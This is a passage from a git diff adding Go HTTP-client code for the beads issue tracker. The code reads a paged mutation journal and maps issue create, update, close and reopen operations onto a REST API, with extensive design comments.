sibling for a BEHAVIOR-token refusal +// rather than a whole-operation one: the operation itself is fine (countIssues +// exists on every server this client speaks to), but one caller-supplied field +// requires a behavior the handshake snapshot does not advertise. +// +// It fills in Unsup.Capability, which (*Store).unsupported never sets — that +// one is for a method this build cannot express on this backend at all, and +// has no single token to name. errors.As(err, &unsupported) reaching +// unsupported.Capability == capability is what counter.go's pre-dial scope +// refusal promises the caller (S8's CLIENT-SKEW NOTE in +// internal/httpapi/routes.go, beside CapIssuesCountScope): refuse before +// dialing, never drop the fields and answer a wider count than asked for. +func (s *Store) unsupportedCapability(op, capability string) error { + e := &ErrHTTPUnsupported{Unsup: &storage.ErrUnsupported{Op: op, Backend: Backend, Capability: capability}} + if s == nil { + return e + } + e.ServerURL = s.target.String() + if snap := s.cachedSnapshot(); snap != nil { + e.BdVersion = snap.BdVersion + e.Capabilities = append([]string(nil), snap.Capabilities...) + sort.Strings(e.Capabilities) + } + return e +} diff --git a/internal/httpclient/journal.go b/internal/httpclient/journal.go new file mode 100644 index 000000000..32b846b3d --- /dev/null +++ b/internal/httpclient/journal.go @@ -0,0 +1,213 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/journal.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "net/http" + "net/url" + "strconv" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/journalops" +) + +// The DURABLE MUTATION JOURNAL, read over GET /v0/beads/events. +// +// THERE IS NO ACCESSOR HERE, and its absence is the role's design rather than an +// omission: journalops.Journal is not on storage.DoltStorage, so a backend +// publishes the journal by IMPLEMENTING the interface a caller type-asserts for. +// `bd serve` makes exactly that assertion (cmd/bd's serveJournalCursor), which +// is why this method sits on *Store beside the raw off-role reads rather than +// behind a Journal() accessor nothing would call. +// +// THIS CLIENT HOLDS THE READ AND NOT THE OPERATOR HALF, which is the split +// journalops states and the reason the role exists apart from +// storage.EventsJournalAccessor. Retention and per-instance activation are +// decisions about a workspace's own recording, and this process has no workspace +// and no engine — it is a client of one. So *Store implements +// EventsJournalCursor and deliberately implements neither EventsJournalAccessor +// (which prunes) nor EventsJournalConfigurer (which activates), and +// cmd/bd/enterprise_events_journal_refusal_test.go pins all three facts about +// the type. +// +// WHAT THAT COSTS AT THE FRONT DOOR is worth stating rather than discovering: +// `bd events tail|export|prune` resolve their accessor through journalAccessor, +// which asks for the WIDE interface, so they still refuse on this backend. That +// is not a gap this port left open — it is the narrow interface doing its job. A +// command that only reads would need a read-only resolution path of its own. + +// eventsWireLimit is the cap the HANDLER puts on one page, redeclared here +// because importing internal/httpapi would drag the storage engine into a +// client. It is maxEventsLimit in internal/httpapi/events.go. +// +// IT IS THE HANDLER'S PROMISE TO ITS CLIENTS rather than the role's: the role +// imposes no ceiling of its own, because the caller that pages a hundred +// thousand records out to a file is as legitimate as the one polling for ten. +// This client is on the other side of that promise, so an uncapped read becomes +// the loop in readPages rather than a refusal. +const eventsWireLimit = 10000 + +var _ journalops.Journal = (*Store)(nil) + +// ReadEventsJournalPage returns the journal records after the caller's +// checkpoint, with the head of the journal's history. +// +// A LIMIT OF 0 IS UNCAPPED TO THE ROLE AND A 400 ON THE WIRE, and reconciling +// those two is the whole of what this body adds over one request. The role's +// contract is explicit that an uncapped read is legitimate; the operation +// refuses `limit=0` by value, because a page it could not bound is a page it +// could not serve. So an uncapped read becomes a LOOP over the handler's own +// maximum, advancing the checkpoint to the last seq served, until a short page +// or a checkpoint that has reached the head. +// +// THE ONE PROMISE THAT LOOP CANNOT KEEP is the one the Page type exists for: the +// rows and the head come from ONE transaction, and a loop is N of them. What +// survives is what a consumer acts on — the rows are still contiguous and +// seq-ascending, because each page continues exactly where the last ended, and +// the head is the LAST page's, which is the freshest and can only be at or ahead +// of the last row served. What does not survive is atomicity across the whole +// answer: a mutation committing mid-loop appears in a later page of the same +// call rather than in the next call. That is ledgered (L-events-paging) and it +// is strictly better than the alternatives — refusing an uncapped read the role +// permits, or silently capping one at 10000 and reporting a head that says there +// is more, which is a caller stalling on a page it was never told was partial. +// +// A BOUNDED READ IS ONE REQUEST and nothing above applies to it: limit reaches +// the wire as it was given, the page comes back with the journal's head, and a +// caller learns there is more by comparing the last seq against it. +func (s *Store) ReadEventsJournalPage(ctx context.Context, since int64, limit int) (journalops.Page, error) { + if limit > 0 { + return s.readEventsPage(ctx, since, limit) + } + return s.readEventsPages(ctx, since) +} + +// readEventsPages walks the journal from since to its end, one handler-sized +// page at a time. +// +// The loop stops on a SHORT page, which is the end of the journal by the +// operation's own contract — records are contiguous, so a page smaller than the +// bound cannot be followed by another — and on a page that served nothing, which +// is the caught-up answer. It also stops at the head it was told, so a server +// that answered a full page of rows it had already served cannot spin this +// forever. +func (s *Store) readEventsPages(ctx context.Context, since int64) (journalops.Page, error) { + page := journalops.Page{} + cursor := since + for { + next, err := s.readEventsPage(ctx, cursor, eventsWireLimit) + if err != nil { + // A TRUNCATION ON ANY PAGE IS THE WHOLE READ'S, never a shorter + // answer. The contract's bounded arm asserts the identical window + // from a capped read and an uncapped one, and a loop that returned + // the prefix it had already gathered would answer a gap with a + // plausible-looking suffix — the one failure a replay feed must + // never ship. + return journalops.Page{}, err + } + page.Head = next.Head + page.Rows = append(page.Rows, next.Rows...) + if len(next.Rows) < eventsWireLimit { + return page, nil + } + last := next.Rows[len(next.Rows)-1].Seq + if last <= cursor || last >= next.Head { + // The first arm is a server that did not advance; the second is a + // caller that has reached the history it was told about. Neither is + // a reason to ask again. + return page, nil + } + cursor = last + } +} + +// readEventsPage is ONE request. +func (s *Store) readEventsPage(ctx context.Context, since int64, limit int) (journalops.Page, error) { + q := url.Values{} + // FormatInt rather than Itoa: `since` is an int64 and the conformance + // suite's own head probe reads with math.MaxInt64, which a 32-bit int + // conversion would silently wrap. + q.Set("since", strconv.FormatInt(since, 10)) + if limit > 0 { + q.Set("limit", strconv.Itoa(limit)) + } + + var body apigen.EventsPage + if err := s.dispatch(ctx, wire.Request{ + Op: wire.OpListEvents, + Method: http.MethodGet, + Path: wire.PathEvents, + Query: q, + }, &body); err != nil { + return journalops.Page{}, eventsJournalError(err) + } + + rows := make([]journalops.Row, 0, len(body.Records)) + for _, record := range body.Records { + rows = append(rows, journalRow(record)) + } + return journalops.Page{Rows: rows, Head: body.Head}, nil +} + +// eventsJournalError rebuilds the role's TYPED truncation from the problem +// document that carried it. +// +// It is the one place on this seam where a refusal has to become a Go value +// carrying DATA rather than a sentinel, and the contract checks it by +// errors.As against journalops.TruncatedError — a type no leg names, since +// storage.EventsJournalTruncatedError is an alias of it. A client that returned +// the wire's sentinel alone would satisfy errors.Is and fail every consumer, +// because the recovery is a decision made from the WINDOW: resume from Floor-1 +// and accept the gap, or rebuild. +// +// ALL THREE MEMBERS TRAVEL TOGETHER and none is omitted to mean zero — a head of +// 0 is a real journal state — so a document missing any of them is a server this +// client cannot reconstruct a window from, and the wire's own error travels +// unchanged rather than a window with a fabricated bound in it. +// +// `since` IS NOT ECHOED BACK. On an interior hole the server reports the last +// seq it could serve CONTIGUOUSLY from the caller's checkpoint, which is +// strictly more useful and cannot be recovered by a client that assumed it was +// getting its own input back — so this reads the member rather than the request. +func eventsJournalError(err error) error { + if !errors.Is(err, wire.ErrEventsJournalTruncated) { + return err + } + var prob *wire.ProblemError + if !errors.As(err, &prob) || prob.Since == nil || prob.Floor == nil || prob.Head == nil { + return err + } + return &journalops.TruncatedError{Since: *prob.Since, Floor: *prob.Floor, Head: *prob.Head} +} + +// journalRow projects one published record back onto the storage row the role +// answers with. +// +// It is the exact inverse of eventsjournal.NewRecord, and the payload members +// are the part worth reading twice. `issue` is ALWAYS present and carries the +// literal `null` on a delete — a consumer must be able to tell a delete from a +// payload the server failed to record — while `dep` and `comment` are ABSENT on +// the ops that have no such half. All three collapse to the empty string on the +// row, which is the row's own conflation and not one this client introduces: +// journalops.Row documents IssueJSON as empty when the op is a delete. +// +// The payloads travel as RAW BYTES in both directions. Re-encoding them would +// reorder members and renormalize numbers against a contract that promises the +// issue exactly as the mutation left it. +func journalRow(record apigen.EventRecord) journalops.Row { + row := journalops.Row{ + Seq: record.Seq, + TS: record.TS, + Op: record.Op, + IssueID: record.IssueID, + } + if payload := string(record.Issue); payload != "" && payload != "null" { + row.IssueJSON = payload + } + row.DepJSON = string(record.Dep) + row.CommentJSON = string(record.Comment) + return row +} diff --git a/internal/httpclient/lifecycle.go b/internal/httpclient/lifecycle.go new file mode 100644 index 000000000..06f583730 --- /dev/null +++ b/internal/httpclient/lifecycle.go @@ -0,0 +1,917 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/lifecycle.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "maps" + "reflect" + "slices" + "time" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// httpLifecycle serves issueops.Lifecycle WHOLE (design D8 row 16): Create over +// POST createIssue, Update over PATCH updateIssue, and Close and Reopen over +// their custom methods. +// +// It was PARTIAL until the create landed: POST /v0/beads/issues was deliberately +// left free on the wire when issues:batchCreate chose a custom method, and +// upstream #5483 filled it with the single create this role now dials. +type httpLifecycle struct { + store *Store + wire WriteWire +} + +var _ issueops.Lifecycle = (*httpLifecycle)(nil) + +// Create dials POST /v0/beads/issues. +// +// The whole request maps but for two members, and both refuse rather than +// dropping: IDPrefix where it would act on an explicit, unforced id, which the +// server publishes no member for on purpose (W-CreateRequest.IDPrefix), and +// every member of the issue outside the wire's twenty (W-CreateRequest.Issue) +// — save a CreatedBy that names the actor, which the server stamps from the +// actor itself. A create that reported success having silently dropped the +// storage class, the molecule type or the creation time is a row the caller +// believes they wrote and did not. +// +// The RESPONSE is the row as stored — the minted id, the defaulted status, the +// persisted timestamps — so nothing here echoes the request back. +func (l *httpLifecycle) Create(ctx context.Context, req issueops.CreateRequest) (result issueops.CreateResult, err error) { + // Write-side parity with reads: decorates a bare *encode.RefusedError — + // however deeply createBody/refuseUnwirableCreateIssue/createEdge nested it + // inside an "Issue.%s:"/"dependencies[%d]:" prefix — into + // *InexpressibleError so errors.As(err, &unsupported) reaches + // *storage.ErrUnsupported, same as inexpressible does for a read role. The + // original composite message (including that prefix) is preserved in the + // decorated error's own text. + defer func() { err = l.store.inexpressible("Lifecycle.Create", err) }() + if err := requireActor(req.Actor); err != nil { + return issueops.CreateResult{}, err + } + body, err := createBody(req) + if err != nil { + return issueops.CreateResult{}, err + } + + issue, err := l.wire.CreateIssue(ctx, body) + if err != nil { + // The wire's already_exists carries `param: "id"` and no id, because the + // request already said it — the same argument the problem mapper's + // target makes for the conflicts it rebuilds. Putting the caller's own + // id back is what lets `bd create --id X` say WHICH id is taken, the way + // a local backend's refusal does. Nothing else about the refusal is + // recomposed: the sentinel and the server's detail are its own. + if req.Issue != nil && req.Issue.ID != "" && errors.Is(err, issueops.ErrAlreadyExists) { + return issueops.CreateResult{}, fmt.Errorf("%s: %w", req.Issue.ID, err) + } + return issueops.CreateResult{}, err + } + return issueops.CreateResult{Issue: issue}, nil +} + +// createBody projects the role's request onto the wire's flat create body. +// +// FLAT is the shape that makes this operation different from every other write +// here: the issue's own members are top-level members of the request rather than +// a nested document, so this function is the only place the two vocabularies +// meet and the allowlist below is the whole of it. +func createBody(req issueops.CreateRequest) (apigen.CreateIssueRequest, error) { + if req.Issue == nil { + return apigen.CreateIssueRequest{}, invalid("a create names no issue") + } + if len(req.Issue.Comments) > 0 || len(req.Issue.Dependencies) > 0 { + // The ROLE's own rule, not a wire divergence: edges are supplied through + // the request's own Dependencies, where their direction can be stated, + // and a create has no way to supply comments at all. A local backend + // refuses this too. + return apigen.CreateIssueRequest{}, invalid( + "Issue carries comments or dependencies; supply edges through the request's own Dependencies") + } + if req.IDPrefix != "" && req.Issue.ID != "" && !req.ForceIDPrefix { + // Refused only where the override would ACT. The role reads it for one + // thing — checking an explicit id it was not told to force — so a create + // that mints its id, or forces one, asks the server for nothing it cannot + // do. `bd create` sends the workspace's prefix on every create, and an + // unconditional refusal would refuse every create in a workspace whose + // config.yaml names one. + return apigen.CreateIssueRequest{}, refuse(encode.OpCreateIssue, "W-CreateRequest.IDPrefix") + } + if err := refuseUnwirableIssueMembers(req.Issue, req.Actor, encode.OpCreateIssue, "W-CreateRequest.Issue"); err != nil { + return apigen.CreateIssueRequest{}, err + } + + issue := req.Issue + // Priority is sent ALWAYS, for batchCreateIssues' reason: 0 is P0 and a real + // request, so an absent member — which the server reads as the workspace + // default — would silently reprioritize every critical issue a plan creates. + priority := issue.Priority + body := apigen.CreateIssueRequest{Actor: req.Actor, Title: issue.Title, Priority: &priority} + + setItemString(&body.Id, issue.ID) + setItemString(&body.Description, issue.Description) + setItemString(&body.Design, issue.Design) + setItemString(&body.AcceptanceCriteria, issue.AcceptanceCriteria) + setItemString(&body.Notes, issue.Notes) + setItemString(&body.Status, string(issue.Status)) + setItemString(&body.IssueType, string(issue.IssueType)) + setItemString(&body.Assignee, issue.Assignee) + setItemString(&body.Owner, issue.Owner) + setItemString(&body.Sender, issue.Sender) + setItemString(&body.ParentId, req.ParentID) + if issue.ExternalRef != nil { + // Sent THROUGH the pointer rather than through setItemString: this is + // the one text member the role models as nullable, so a set-but-empty + // ref stores the empty string where an absent one stores NULL, and + // collapsing the two would drop a state the caller can observe. + ref := *issue.ExternalRef + body.ExternalRef = &ref + } + if issue.EstimatedMinutes != nil { + minutes := *issue.EstimatedMinutes + body.EstimatedMinutes = &minutes + } + body.DueAt = copyTime(issue.DueAt) + body.DeferUntil = copyTime(issue.DeferUntil) + if len(issue.Labels) > 0 { + labels := append([]string(nil), issue.Labels...) + body.Labels = &labels + } + if len(issue.Metadata) > 0 { + // The blob travels as the bytes the caller sent, applyDepAddItem's rule: + // the role is the single definition of what the metadata plane accepts, + // and a second parse here would be a second definition. + // + // WELL-FORMEDNESS is a different question from acceptance, and it is + // this layer's: bytes that are not JSON at all cannot go on a JSON wire, + // and letting them through would surface as a marshal fault at the + // transport where the role promises ErrValidation. + if err := requireJSON("Issue.Metadata", issue.Metadata); err != nil { + return apigen.CreateIssueRequest{}, err + } + body.Metadata = append(apigen.MetadataValue(nil), issue.Metadata...) + } + // The four booleans are sent only when TRUE. Each selects something — a + // plane, an inheritance, a bypass — so an explicit false is the default said + // twice, and `ephemeral` and `no_history` are mutually exclusive on the + // wire, which a pair of explicit falses would not trip but a pair of + // explicit trues would. + setItemBool(&body.Ephemeral, issue.Ephemeral) + setItemBool(&body.NoHistory, issue.NoHistory) + setItemBool(&body.InheritLabelsFromParent, req.InheritLabelsFromParent) + setItemBool(&body.ForceIdPrefix, req.ForceIDPrefix) + + if len(req.Dependencies) > 0 { + edges := make([]apigen.CreateIssueDependency, 0, len(req.Dependencies)) + for i, dep := range req.Dependencies { + edge, err := createEdge(i, dep) + if err != nil { + return apigen.CreateIssueRequest{}, err + } + edges = append(edges, edge) + } + body.Dependencies = &edges + } + if req.WaitsFor != nil { + gate := apigen.CreateIssueWaitsFor{SpawnerId: req.WaitsFor.SpawnerID} + setItemString(&gate.Gate, req.WaitsFor.Gate) + body.WaitsFor = &gate + } + return body, nil +} + +// createEdge projects one requested edge onto createIssue's own edge, which +// carries `reverse` and `metadata` where batchCreateIssues' does not — a create +// has an id for a target to point back at, and a batch item has none. +func createEdge(index int, dep issueops.CreateDependency) (apigen.CreateIssueDependency, error) { + where := func(err error) error { return fmt.Errorf("dependencies[%d]: %w", index, err) } + switch { + case dep.TargetID == "": + return apigen.CreateIssueDependency{}, where(invalid("target_id is required")) + case dep.Type == "": + return apigen.CreateIssueDependency{}, where(invalid("type is required")) + case dep.ThreadID != "": + return apigen.CreateIssueDependency{}, where(refuse(encode.OpCreateIssue, "W-CreateDependency.ThreadID")) + } + edge := apigen.CreateIssueDependency{TargetId: dep.TargetID, Type: string(dep.Type)} + setItemBool(&edge.Reverse, dep.Reverse) + if dep.Metadata != "" { + if err := requireJSON("metadata", []byte(dep.Metadata)); err != nil { + return apigen.CreateIssueDependency{}, where(err) + } + edge.Metadata = apigen.MetadataValue(dep.Metadata) + } + return edge, nil +} + +// requireJSON refuses a raw blob that is not JSON, before it can become a +// request body. +// +// It is NOT a judgment about the metadata plane's vocabulary — that belongs to +// the role, which is why the blob travels verbatim — only about whether these +// bytes can be sent at all. Without it a malformed blob fails inside +// json.Marshal and reaches the caller as a transport fault, where every role +// contract promises a deterministic validation failure. +func requireJSON(member string, raw []byte) error { + if !json.Valid(raw) { + return invalid("%s is not valid JSON", member) + } + return nil +} + +// createCarriedIssueMembers is the wire's create vocabulary: the twenty members +// of apigen.CreateIssueRequest that describe the issue itself, keyed by the +// types.Issue field each one carries. +// +// It is the ALLOWLIST half of refuse-not-drop for this operation. What it does +// not name is refused, and there is no third arm — see refuseUnwirableIssueMembers. +var createCarriedIssueMembers = map[string]string{ + "ID": "id", + "Title": "title", + "Description": "description", + "Design": "design", + "AcceptanceCriteria": "acceptance_criteria", + "Notes": "notes", + "Status": "status", + "Priority": "priority", + "IssueType": "issue_type", + "Assignee": "assignee", + "Owner": "owner", + "EstimatedMinutes": "estimated_minutes", + "ExternalRef": "external_ref", + "DueAt": "due_at", + "DeferUntil": "defer_until", + "Sender": "sender", + "Metadata": "metadata", + "Labels": "labels", + "Ephemeral": "ephemeral", + "NoHistory": "no_history", +} + +// setItemBool writes an optional wire boolean, leaving it absent when the caller +// asked for nothing. The pointer addresses a local copy, never the caller's field. +func setItemBool(dest **bool, value bool) { + if !value { + return + } + v := value + *dest = &v +} + +// copyTime detaches an optional timestamp from the caller's request, so nothing +// downstream can be surprised by a value the caller still holds a pointer to. +func copyTime(value *time.Time) *time.Time { + if value == nil { + return nil + } + v := *value + return &v +} + +// Update dials PATCH updateIssue. +// +// Everything hard about it is the PATCH shape, and it is hard for one reason: +// on this operation PRESENCE is the signal and an explicit null is the CLEAR, so +// "omitted" and "set to nothing" are different requests. issueops.Field carries +// that distinction; apigen.IssuePatchBody cannot — its members are pointers with +// `omitempty`, which collapses a nil clear into an absent member — so the body +// is built as an ordered document here and the wire marshals it verbatim. +// +// Refuse-not-drop governs every member the wire's issuePatchMembers list +// excludes, and every UpdateRequest member with no wire counterpart. A dropped +// patch member is an edit the caller believes landed; a dropped precondition is +// a conditional write turned unconditional. Both are the failure class the +// divergence ledger exists to make impossible. +// +// A CLAIM rides the same request (upstream #6890): `claim` is a top-level +// member beside the patch, so a claim alone, a claim with a patch and a claim +// with a version guard are each ONE updateIssue call, claimed and patched in +// one transaction by the same role the direct route runs, and answered with the +// post-write `revision` like every other update. The one claim that goes +// anywhere else is a claim ALONE to a server that predates the member — see +// serverPredatesUpdateClaim. +func (l *httpLifecycle) Update(ctx context.Context, req issueops.UpdateRequest) (result issueops.UpdateResult, err error) { + // Write-side parity with reads: decorates a bare *encode.RefusedError — + // however deeply refuseUnwirableUpdateMembers/encodeIssuePatch/ + // refuseExcludedPatchMembers nested it, and transitively covering + // claimOnlyUpdate's own refusals since every one of its returns flows back + // through this method's single call site — into *InexpressibleError so + // errors.As(err, &unsupported) reaches *storage.ErrUnsupported, same as + // inexpressible does for a read role. + defer func() { err = l.store.inexpressible("Lifecycle.Update", err) }() + if err := requireActor(req.Actor); err != nil { + return issueops.UpdateResult{}, err + } + if err := requireID("issue id", req.IssueID); err != nil { + return issueops.UpdateResult{}, err + } + if err := refuseUnwirableUpdateMembers(req); err != nil { + return issueops.UpdateResult{}, err + } + + patch, err := encodeIssuePatch(req.Patch) + if err != nil { + return issueops.UpdateResult{}, err + } + if len(patch) == 0 && !req.Claim { + // The server answers a 400 for an empty patch — except beside `claim`, + // where the claim is the write — and so does the local role's own + // validation. Saying it here keeps a write that writes nothing off the + // wire entirely. + return issueops.UpdateResult{}, invalid("update names no field to write") + } + + res, err := l.wire.UpdateIssue(ctx, req.IssueID, req.Actor, patch, updateGuards(req), updateFlags(req)) + if err != nil { + if req.Claim && isClaimOnlyUpdate(req) && serverPredatesUpdateClaim(err) { + return l.claimOnlyUpdate(ctx, req) + } + return issueops.UpdateResult{}, err + } + // The stitch releaser.go documents: types.Issue.RowVersion is `json:"-"`, so + // the decoded row carries no token and updateIssue publishes the post-write + // revision as a sibling member. Riding it back onto Issue.RowVersion is what + // lets a guarded read-modify-write compose its next ExpectedVersion from the + // result rather than paying a Get to re-read a token the write already answered. + issue := res.Issue + if issue.RowVersion, err = parseRevision("updateIssue", res.Revision); err != nil { + return issueops.UpdateResult{}, err + } + return issueops.UpdateResult{Issue: &issue, Changed: res.Changed}, nil +} + +// updateGuards carries the request's three compare-and-set preconditions onto +// the wire. +// +// EVERY ONE IS A POINTER ON BOTH SIDES AND THE COPY IS A NIL CHECK, which is the +// whole implementation and is the point: a zero value is a REQUEST on all three +// — `expected_version` 0 is a token the migration-0054 backfill really wrote, +// and an empty `expected_assignee` is the guard that says "only if nobody holds +// it" — so absent has to stay absent. No sentinel is encoded here, in either +// direction. +// +// The pointers address LOCAL copies, so nothing downstream can be surprised by +// a value the caller still holds. +func updateGuards(req issueops.UpdateRequest) wire.UpdateGuards { + var guards wire.UpdateGuards + guards.ExpectedVersion = revisionGuard(req.ExpectedVersion) + if req.ExpectedStatus != nil { + status := string(*req.ExpectedStatus) + guards.ExpectedStatus = &status + } + if req.ExpectedAssignee != nil { + assignee := *req.ExpectedAssignee + guards.ExpectedAssignee = &assignee + } + return guards +} + +// updateFlags carries the claim and the three force overrides onto the wire. +// The wire sends each only when true, so a request that sets none of them is +// byte-identical to one built before any of them was carried. +func updateFlags(req issueops.UpdateRequest) wire.UpdateFlags { + return wire.UpdateFlags{ + Claim: req.Claim, + ForceAssigneeTransfer: req.ForceAssigneeTransfer, + ForceClosePolicy: req.ForceClosePolicy, + ForceNotesOverwrite: req.ForceNotesOverwrite, + } +} + +// serverPredatesUpdateClaim reports whether err is a server that predates +// `claim` on updateIssue (upstream #6890) refusing the member: the version-skew +// 400 — `unknown_parameter`, naming `claim` itself. Such a server checks body +// members before it reads anything else, so the refusal arrives before any +// database work and nothing the request asked for was written. +// +// It is the SKEW signal, not the capability list, because no capability token +// announces the member — it is additive, so it bumped no wire revision either — +// and the reason is what dispatches, never the code alone: `invalid_value` +// naming `claim` is a current server refusing a claim beside a member it may +// not ride with, which is the caller's error to see, not a server to route +// around. +func serverPredatesUpdateClaim(err error) bool { + var problem *wire.ProblemError + return errors.As(err, &problem) && + problem.Reason == encode.UnknownParameterReason && + problem.Param == "claim" +} + +// Close dials POST issues/{id}:close. +func (l *httpLifecycle) Close(ctx context.Context, req issueops.CloseRequest) (issueops.CloseResult, error) { + if err := requireActor(req.Actor); err != nil { + return issueops.CloseResult{}, err + } + if err := requireID("issue id", req.IssueID); err != nil { + return issueops.CloseResult{}, err + } + + body := closeBody(req.Actor, req.Reason, req.Session, req.Force) + body.ExpectedVersion = revisionGuard(req.ExpectedVersion) + res, err := l.wire.CloseIssue(ctx, req.IssueID, body) + if err != nil { + return issueops.CloseResult{}, err + } + // The stitch releaser.go documents; an idempotent re-close carries the current + // token too, so a close-then-reopen chain composes its next ExpectedVersion here. + issue := res.Issue + if issue.RowVersion, err = parseRevision("closeIssue", res.Revision); err != nil { + return issueops.CloseResult{}, err + } + return issueops.CloseResult{ + Issue: &issue, + Changed: !res.AlreadyClosed, + OpenChildren: res.OpenChildren, + }, nil +} + +// Reopen dials POST issues/{id}:reopen. +func (l *httpLifecycle) Reopen(ctx context.Context, req issueops.ReopenRequest) (result issueops.ReopenResult, err error) { + // Write-side parity with reads: decorates a bare *encode.RefusedError into + // *InexpressibleError so errors.As(err, &unsupported) reaches + // *storage.ErrUnsupported, same as inexpressible does for a read role. + defer func() { err = l.store.inexpressible("Lifecycle.Reopen", err) }() + if err := requireActor(req.Actor); err != nil { + return issueops.ReopenResult{}, err + } + if err := requireID("issue id", req.IssueID); err != nil { + return issueops.ReopenResult{}, err + } + if req.Provenance != "" { + return issueops.ReopenResult{}, refuse(encode.OpReopenIssue, "W-ReopenRequest.Provenance") + } + + body := apigen.ReopenIssueRequest{Actor: req.Actor, ExpectedVersion: revisionGuard(req.ExpectedVersion)} + if req.Reason != "" { + body.Reason = &req.Reason + } + res, err := l.wire.ReopenIssue(ctx, req.IssueID, body) + if err != nil { + return issueops.ReopenResult{}, err + } + // The stitch releaser.go documents; a recovery flow that reopens and then + // re-closes composes its next ExpectedVersion from this token. + issue := res.Issue + if issue.RowVersion, err = parseRevision("reopenIssue", res.Revision); err != nil { + return issueops.ReopenResult{}, err + } + return issueops.ReopenResult{Issue: &issue, Changed: !res.AlreadyOpen}, nil +} + +// revisionGuard spells a row-version precondition for the wire. +// +// The Go contract holds the token as an int64 (types.Issue.RowVersion, the +// request's ExpectedVersion) and the wire carries it as a decimal STRING +// (upstream #6053: the token spans the full 64-bit range and a JSON number +// would be rounded past 2^53 by any IEEE-754-double consumer, so the server +// refuses a bare number on `expected_version` with a 400). types.RevisionToken +// is the one spelling of that encoding and this is the one place the client +// applies it on the way out. +// +// NIL STAYS NIL and 0 becomes "0": the token is opaque and compared for +// equality alone, and 0 is one a row really holds — the migration-0054 backfill +// wrote it — so an absent guard and a guard on zero are different requests. +// Every verb that publishes the member goes through here, so there is one place +// the rule can be read and one place it could be broken. +func revisionGuard(version *int64) *string { + if version == nil { + return nil + } + token := types.RevisionToken(*version) + return &token +} + +// parseRevision reads the `revision` a write answered with back to the int64 +// the Go contract carries, revisionGuard's inverse. +// +// The member is required on every response that publishes it, and the server +// spells it with types.RevisionToken, so ParseRevisionToken accepts exactly what +// a conforming server emits. A token it cannot read is a server this client +// cannot follow, reported the way the package reports every other malformed +// answer (a batch-apply result of the wrong arity, a count with no `groups`): +// as a plain error naming bd serve, the operation and the member, rather than +// stitching 0 onto the row — 0 is a real token and the corruption would only +// surface as a precondition_failed on the NEXT request. +func parseRevision(op, token string) (int64, error) { + version, err := types.ParseRevisionToken(token) + if err != nil { + return 0, fmt.Errorf("%s: bd serve answered a `revision` this client cannot read as a token (%q): %w", op, token, err) + } + return version, nil +} + +// closeBody builds the close request. The three optional members are pointers on +// the wire, and an omitted one is not the same as an empty one: the server +// distinguishes "no reason supplied" from an explicit null, which it refuses. +func closeBody(actor, reason, session string, force bool) apigen.CloseIssueRequest { + body := apigen.CloseIssueRequest{Actor: actor} + if reason != "" { + body.Reason = &reason + } + if session != "" { + body.Session = &session + } + if force { + body.Force = &force + } + return body +} + +// claimOnlyUpdate is the claim a server that predates `claim` on updateIssue +// can still serve: a claim and nothing else, dialed as claimIssue through the +// Claimer role. Update reaches it only after such a server refused the member +// as unknown (serverPredatesUpdateClaim) and only for a claim-only request +// (isClaimOnlyUpdate) — claimIssue's own request is `{actor}` alone (see +// apigen.ClaimRequest), so a claim-only UpdateRequest IS that request, and +// anything beside the claim would be dropped by it. A claim combined with a +// patch, a guard or a force override is therefore NOT retried here: the skew +// refusal is returned as it came, rather than synthesized as two calls +// (claimIssue then updateIssue), which would let a caller observe an issue +// claimed but not yet patched. +// +// That keeps `bd update --claim --json` — gc's exclusive claim path — +// working against an older bd serve. The two roles' result shapes line up +// member for member (Issue, Changed): same-actor re-claim is the idempotent +// Changed=false Claimer already promises, and a foreign holder or an +// ineligible status is the same *issueops.ClaimConflictError updateIssue's +// claim raises. +// +// What this route cannot match, it says. claimIssue answers the bare row +// (issueops/claimer.go's ClaimResult doc, pinned against the Claimer role +// directly by TestServedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow), +// where updateIssue answers the hydrated one, so the LABELS and CreatedBy are +// read back below for CommandUpdateMutation's shared `bd update --json` +// renderer — the hydration is composed HERE rather than by widening Claimer's +// promise, which backend/conformance's ClaimerFixture suite holds every backend +// to. claimIssue also carries no `revision`, so the result's RowVersion stays +// unset rather than borrowing the follow-up read's token: that read is a second +// snapshot, and a token from it could postdate a write this claim never saw, +// arming a guard that should have missed. And claimIssue excludes the wisp +// plane, so a wisp id refuses by name (W-ClaimRequest.Wisp). +func (l *httpLifecycle) claimOnlyUpdate(ctx context.Context, req issueops.UpdateRequest) (issueops.UpdateResult, error) { + claimer, err := l.store.IssueClaimer() + if err != nil { + return issueops.UpdateResult{}, err + } + res, err := claimer.Claim(ctx, issueops.ClaimRequest{Actor: req.Actor, IssueID: req.IssueID}) + if err != nil { + // claimIssue excludes wisps (issueops.Claimer's own contract), where the + // direct route's `bd update --claim` claims one through Lifecycle's + // general issue-or-wisp routing. A wisp id therefore reaches THIS branch + // as the wire's generic not-found — "no issue or wisp with that id" — + // indistinguishable from an id that names nothing at all. The probe + // below runs ONLY here, on a not-found answer, rather than ahead of + // every claim attempt, so an ordinary claim of a real, non-wisp issue + // costs no probe. A refusal for any other reason (already claimed, not + // eligible from its current status, actor/id validation) needs no probe + // and returns unchanged. + if errors.Is(err, issueops.ErrNotFound) { + if issue, probeErr := l.store.GetIssue(ctx, req.IssueID); probeErr == nil && issue != nil && isWispIssue(issue) { + return issueops.UpdateResult{}, refuse(encode.OpUpdateIssue, "W-ClaimRequest.Wisp") + } + // Not a wisp — either the probe also found nothing (the id truly + // names no row), or the probe itself failed. Either way, the + // original not-found error from claimIssue is the right thing to + // return, unmodified: it is what lets a not-found-sensitive caller + // (gc's Claim among them) recognize a missing id over http exactly + // as it recognizes one against a local workspace. + } + return issueops.UpdateResult{}, err + } + issue := res.Issue + // Best-effort hydration for output parity with the direct route (see the + // doc above): the claim itself already committed, so a failed follow-up + // read is not this call's failure to report — fall back to the bare row + // 